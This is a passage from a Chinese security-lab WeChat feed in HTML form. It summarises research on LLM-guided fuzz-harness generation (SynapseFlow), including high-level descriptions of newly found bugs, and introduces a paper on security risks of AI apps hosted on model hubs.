leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">中导致模糊测试的遗传算法失效。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">  <span textstyle="" style="font-weight: bold;">    3.</span></span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><span textstyle="" style="font-weight: bold;">漏洞检测能力的提升</span></span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">论文选取了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">25</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个已知漏洞作为检测目标，包括</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">19</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个代表性</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CVE</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">和</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">6</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">OSS-Fuzz</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">已记录问题。对于每个漏洞函数，每个工具生成</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">10</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个可编译的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">并运行</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">24</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">小时。结果显示，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">实现了更高的漏洞触发率，相比</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">OSS-Fuzz-Gen</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CKGFuzzer</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">PromeFuzz</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，分别提升</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1.77</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1.51</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">1.36</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">倍。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">人工分析表明，基线工具的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">易出现参数初始化错误、遗漏关键函数调用、重复定义目标函数等问题，而</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的分阶段验证机制有效避免了这些错误。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><span textstyle="" style="font-weight: bold;">4.</span></span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><span textstyle="" style="font-weight: bold;">真实漏洞发现</span></span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">成功发现了</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">7</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">个此前从未被报告过的漏洞。这些漏洞涵盖了堆溢出、栈溢出、释放后使用、无限循环等多种类型，分布在</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">file</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">libarchive</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">、</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">sqlite3</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">等多个广泛使用的项目中。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">分析发现，这些易受攻击的函数大多不在</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">OSS-Fuzz</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">的现有测试目标集合中，这表明尽管这些项目已经经历了约五年的持续模糊测试，这些漏洞却始终未被发现。</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">通过为这些被忽视的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">API</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">自动生成有效</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">，发掘了现有基础设施遗漏的漏洞。以</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">expat</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">项目中的堆溢出漏洞为例：漏洞函数在被调用时未检查目标缓冲区的大小，直接执行了内存拷贝操作。而</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">lz4</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">项目中的堆溢出则发生在处理最终未压缩字面量时，由于对目标缓冲区剩余空间的错误计算导致。这些漏洞的触发需要对特定函数进行正确的初始化序列调用，而只有</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">包含了完整的调用链。</span></span></p><div data-tools="135编辑器" data-id="147339" data-pm-slice="0 0 []"><div style="margin: 10px auto;background-color: #e9f1fa;border-radius: 7px;padding: 0px 10px;box-sizing: border-box;"><div style="display: flex;justify-content: space-between;align-items: center;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#bdcaff,#a7e2ff);width: 40px;height: 40px;border-radius: 100%;display: flex;justify-content: center;align-items: center;border: 2px solid #ffffff;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong><span leaf="">4</span></strong></p></div><div><p style="font-size: 16px;color: #333333;text-align: center;padding: 0 0 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf="">总结</span></strong></p></div></div></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">面对日益复杂的软件生态和庞大的代码库，依靠人工编写模糊测试驱动已无法适应安全防护需求，而让</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">一步到位地生成完整</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">同样存在多种缺陷。</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">研究证明，高质量的</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">harness</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">生成需要两方面的突破：一是使用数据流与语义来指导待测函数的选取与组合，而非依赖粗糙的启发式规则；二是将复杂的生成任务分解为多个可验证的子任务，避免在单次</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">LLM</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">调用中处理过多信息、产生难以修复的错误。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">将模糊测试的覆盖范围从零散的、不准确的函数调用，拓展到了由数据流定义的完整功能路径。这不仅减轻了安全研究员繁重的测试代码编写工作，更能让模糊测试真正覆盖到那些被忽视的、却潜藏着真实漏洞的代码路径。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">此外，</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">SynapseFlow</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">研究工作作为奇安信技术研究院“天象”软件漏洞挖掘系统相关研究的一部分，目前已在“天象”软件漏洞挖掘系统中落地使用，能够自动化对源代码进行深入安全检测，并取得了良好的测试效果，发现多个真实软件中的漏洞。</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">论文链接：</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf=""><a href="https://arxiv.org/abs/2607.07007" target="_blank">https://arxiv.org/abs/2607.07007</a></span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;text-align: justify;font-size: 14px;text-indent: 28px;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">论文的代码及实验部分数据将在通过</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">CCS</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 16px;"><span leaf="">组委会的评审后公开。</span></span></p><div data-tools="135编辑器" data-id="147318" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: center;"><p data-cacheurl="" data-remoteid="" style="font-size: 16px;letter-spacing: 1.5px;color: #4f78fe;background: none;background-position: center center;background-repeat: no-repeat;background-size: contain;width: 60px;height: 60px;text-align: center;line-height: 60px;box-sizing:border-box;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=662f9b2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FQSjGzxHEMdvyAmdFyZpmS7LTozRehDkNG2a02bJEBGaUSEvqFSZhka26WecefUIiblibAoWfogOKBpKb4R1tV68h87N3TiaP1pAlzlB0nibFxC4%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg&#34;);"><strong data-brushtype="text"><span leaf="">END</span></strong></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ce1757d6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489265%26idx%3D1%26sn%3D4b675d38f8a47a38765a0446eef87010">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Jul 2026 11:39:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】你的&#34;空间&#34;成了攻击者的&#34;地盘&#34;：预训练模型平台上 AI 应用的安全风险研究</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489250&amp;idx=1&amp;sn=64e47d5bfb4c4335825f64e873ff5a36</link>
      <description>清华大学与奇安信星图实验室联合完成，被网络安全国际四大顶会之一的 ACM CCS 2026 录用，题目为《Your Space is My Zone: Demystifying the Security Risks of AI-Powered Applications on Pre-Trained Model Hubs》</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-07-02 18:43</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ea748f08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdtkrXsoWwnK9ZuSDXKxLTuhdU9VWWL0XH0QLOyYzgy3RrbrqPS1ibdTiclPt8U7rw4icO5iaHd6B8KGJv7MbtWJukYDTB8TLkGFA34%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>清华大学与奇安信星图实验室联合完成，被网络安全国际四大顶会之一的 ACM CCS 2026 录用，题目为《Your Space is My Zone: Demystifying the Security Risks of AI-Powered Applications on Pre-Trained Model Hubs》</p>
  <div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><p style="width: 45px;margin: -28px 4px -25px auto;box-sizing: border-box;text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align: baseline;box-sizing: border-box;" data-width="100%" data-imgfileid="100005586" src="https://wechat2rss.xlab.app/img-proxy/?k=5b01a7c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FQSjGzxHEMduA7VZwzWBJRMb5tT3dwonCEojwHkAlj3Z6ibQw5Gly833B1wDhDNqtic4mhiajLMDVyOena50lQlCAx5Y2ib9o72onBqg1Nr8NPLI%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 17px;">引言</span></span></strong></p></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 Hugging Face、Replicate、ModelScope 这些主流预训练模型平台上，把模型封装成&#34;开箱即用&#34;的在线 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">AI </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">应用（AI-App</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">，在 Hugging Face </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">上被称为 Space</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong><span leaf=""> 已经很常见。用户无需本地显卡、无需配置环境，打开浏览器或调用 API 就能做推理和微调。截至 2025 年 12 月，仅 Hugging Face 一家就托管了超过 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">93 </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">万</span></strong><span leaf=""> 个公开 AI 应用。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这类应用降低了使用门槛，但也带来一个容易被忽视的问题：它们大多由</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">第三方开发者</span></strong><span leaf="">编写，运行在共享环境中，平台对它们的隔离和配置约束相对薄弱。近年已有相关安全事件——Hugging Face 官方的一个模型转换应用存在漏洞，攻击者可借此冒充转换机器人、操纵任意应用；Replicate 曾因给多个应用错配共享网络，使攻击者可通过恶意应用操纵推理或窃取私有模型；2024 年 Hugging Face 也检测到未授权访问，导致多名用户的密钥被泄露。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本论文由清华大学与奇安信星图实验室联合完成，被网络安全国际四大顶会之一的 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">ACM CCS 2026</span></strong><span leaf=""> 录用，题目为《</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">Your Space is My Zone: Demystifying the Security Risks of AI-Powered Applications on Pre-Trained Model Hubs</span></strong><span leaf="">》。我们围绕 AI 应用这一新场景做了一次较为系统的安全分析，并实现了分析框架 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">INSIGHTOR</span></strong><span leaf="">，对三个平台共计 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">972,546</span></strong><span leaf=""> 个公开 AI 应用做了实测。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">论文链接：<a href="https://arxiv.org/abs/2606.30373" target="_blank">https://arxiv.org/abs/2606.30373</a></span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3383838383838384" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005580" src="https://wechat2rss.xlab.app/img-proxy/?k=88d0f5f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdsF3ITfNrMlLznTQYUeKjkuia9nnJWMND8bra8HNGfC4Jyotl2gc8uLsVIYAFWdmgPibT6HK7GSEuRRSnQRJy2NGzrp9PwIWRnqw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><hr style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4583333333333333" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005583" src="https://wechat2rss.xlab.app/img-proxy/?k=0631b7f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMdvcIOfyCjjre1YXREQT2jQGANrb6sd1ddUqBLr5GNsfFhfBnyH39S3ycjy8oEk57VRsWHHIGgPCffXCnro3TXy74S3TGxP4D3I%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="display: flex;z-index: 1;margin-bottom: -10px;"><div style="background-color: #90efff;padding: 3px 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align:center;"><strong><span leaf="">PART.01</span></strong></p></div></div></div><p style="width: 45px;margin-left: auto;margin-bottom: -25px;margin-right: 4px;margin-top: -28px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005587" src="https://wechat2rss.xlab.app/img-proxy/?k=fe358d5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FQSjGzxHEMdt8C1UicXACpx362etv6OpiaqUBmvicaRgJPKBX9rbFMsmqxTI0DMOVMKFxBcnibZeicS2iaUFGA5tWBlGewdke6jYtHjb525ZqWrdA0%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 17px;">AI应用是什么，问题出在哪？</span></span></strong></p></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不同于需要本地部署的模型，AI 应用把</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">预训练模型、运行环境、推理</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf=""> API </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">和 Web </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">界面</span></strong><span leaf="">打包成一个云端服务。其典型生命周期是：开发者在平台上创建一个带全局唯一标识符（如 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">username/spacename</span></span><span leaf="">）的应用，可以从零写代码、套用官方模板，也可以像 GitHub 上 fork 那样<span textstyle="" style="font-weight: bold;">直接复制（Duplicate）</span>他人的应用；平台随后自动构建容器镜像、分配资源并上线；用户通过浏览器或 API 访问。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">由于平台文档普遍不够完整，我们用三种互补的方法弄清实现细节：</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">审阅平台文档、分析开源组件（如</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf=""> Hugging Face </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">的 AutoTrain</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">、Replicate </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">的 Cog</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">），以及黑盒测试</span></strong><span leaf="">——部署一个会把用户输入当 shell 命令执行的测试应用，抓包观察运行环境、环境变量、网络隔离和密钥处理。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 